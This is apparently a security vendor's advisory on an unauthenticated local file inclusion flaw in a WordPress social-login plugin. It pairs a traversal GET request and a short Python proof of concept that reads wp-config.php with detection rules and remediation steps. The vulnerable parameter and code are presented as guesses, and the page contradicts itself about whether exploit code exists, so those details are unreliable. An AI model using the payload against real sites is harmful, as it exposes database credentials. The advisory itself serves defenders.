CVE-2025-68974
Executive Summary
CVE-2025-68974 is a PHP Local File Inclusion (LFI) vulnerability in the WordPress plugin miniOrange Social Login and Register (miniorange-login-openid), affecting versions up to and including 7.7.0. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials. The CVSS score is 6.6 (Medium), and no public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress admin dashboard or via the repository are affected. No supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): High (H) – Full file read access.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the CVSS score is 6.6, the ease of exploitation and potential for credential disclosure elevates the risk for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability exists in the miniorange-login-openid plugin's handling of file inclusion. The plugin likely uses a user-supplied parameter (e.g., mo_openid_file) to dynamically include a PHP file without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem using path traversal sequences (e.g., ../../wp-config.php).
The core issue is a Local File Inclusion (LFI) via an include() or require() statement. The plugin fails to restrict the file path to a whitelist of allowed files, allowing an attacker to read sensitive files like:
/etc/passwd/var/www/html/wp-config.php/proc/self/environ
This is a classic CWE-98 vulnerability, often found in plugins that load templates or configuration files based on user input.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable pattern.
Vulnerable Code (Hypothetical):
<?php
$file = $_GET['mo_openid_file'];
include(plugin_dir_path(__FILE__) . 'includes/' . $file . '.php');
?>
This code directly concatenates user input into the file path without validation.
Patched Code (Expected):
<?php
$allowed_files = array('login', 'register', 'callback');
$file = $_GET['mo_openid_file'];
if (in_array($file, $allowed_files)) {
include(plugin_dir_path(__FILE__) . 'includes/' . $file . '.php');
} else {
// Log error or return 404
}
?>
A proper patch would implement a whitelist of allowed filenames and reject any input not in the list.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Install WordPress (e.g., version 6.0) on a local server (XAMPP, Docker, or LAMP).
- Install the
miniorange-login-openidplugin version 7.7.0. - Ensure the plugin is activated.
Exploitation Steps:
- Identify the vulnerable parameter (likely
mo_openid_fileor similar). Use a web proxy (Burp Suite) to intercept requests. - Send a GET request to the vulnerable endpoint:
Note: TheGET /wp-content/plugins/miniorange-login-openid/?mo_openid_file=../../../../wp-config HTTP/1.1 Host: target.com.phpextension may be appended automatically. - If successful, the response will contain the contents of
wp-config.php, revealing database credentials.
Proof of Concept (PoC) Script:
import requests
target = "http://target.com"
plugin_path = "/wp-content/plugins/miniorange-login-openid/"
payload = "?mo_openid_file=../../../../wp-config"
url = target + plugin_path + payload
response = requests.get(url)
if "DB_NAME" in response.text:
print("[+] LFI successful! wp-config.php contents:")
print(response.text)
else:
print("[-] LFI failed.")
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests containing
mo_openid_filewith path traversal sequences (../). - Look for unusual file reads (e.g.,
/etc/passwd,wp-config.php) in access logs.
Defense:
- Immediately disable or remove the plugin if no patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests containing
mo_openid_filewith../. - Restrict file permissions on
wp-config.phpto prevent web server user read access (though this may break functionality).
Indicators of Compromise (IOCs)
- File Paths:
/wp-content/plugins/miniorange-login-openid/with parametermo_openid_file. - Log Entries: GET requests containing
mo_openid_file=..%2f..%2f..%2f..%2fwp-configor similar URL-encoded path traversal. - Network Traffic: Outbound connections from the web server to attacker-controlled hosts (if used for exfiltration).
- File System: Unexpected access to
/etc/passwd,/proc/self/environ, or other sensitive files.
Detection Engineering
YARA Rule
rule CVE_2025_68974_LFI_WordPress {
meta:
description = "Detects LFI attempts targeting miniOrange Social Login plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68974"
strings:
$param = "mo_openid_file"
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f"
$traversal4 = "%2e%2e\\"
condition:
$param and any of ($traversal*)
}
Sigma Rule
title: CVE-2025-68974 LFI Attempt on miniOrange Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal in mo_openid_file parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "mo_openid_file"
cs-uri-query|contains:
- "../"
- "..\\"
- "%2e%2e%2f"
- "%2e%2e\\"
condition: selection
falsepositives:
- Legitimate use of the parameter with valid paths (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68974 LFI Attempt on miniOrange Plugin"; flow:to_server,established; content:"mo_openid_file"; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e\\)/i"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete
miniorange-login-openiduntil a patch is released. - Check for compromise – Review web server logs for LFI attempts and inspect
wp-config.phpfor unauthorized modifications. - Rotate credentials – If the site was compromised, change all database passwords and WordPress salts.
Long-term Fix:
- Monitor the plugin's official page for a security update. Apply the patch as soon as it is released.
- Consider switching to an alternative social login plugin with a better security track record.
Workaround (if plugin must remain active):
- Implement a WAF rule to block requests containing
mo_openid_filewith path traversal characters. - Use a file integrity monitoring tool to detect unauthorized file reads.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.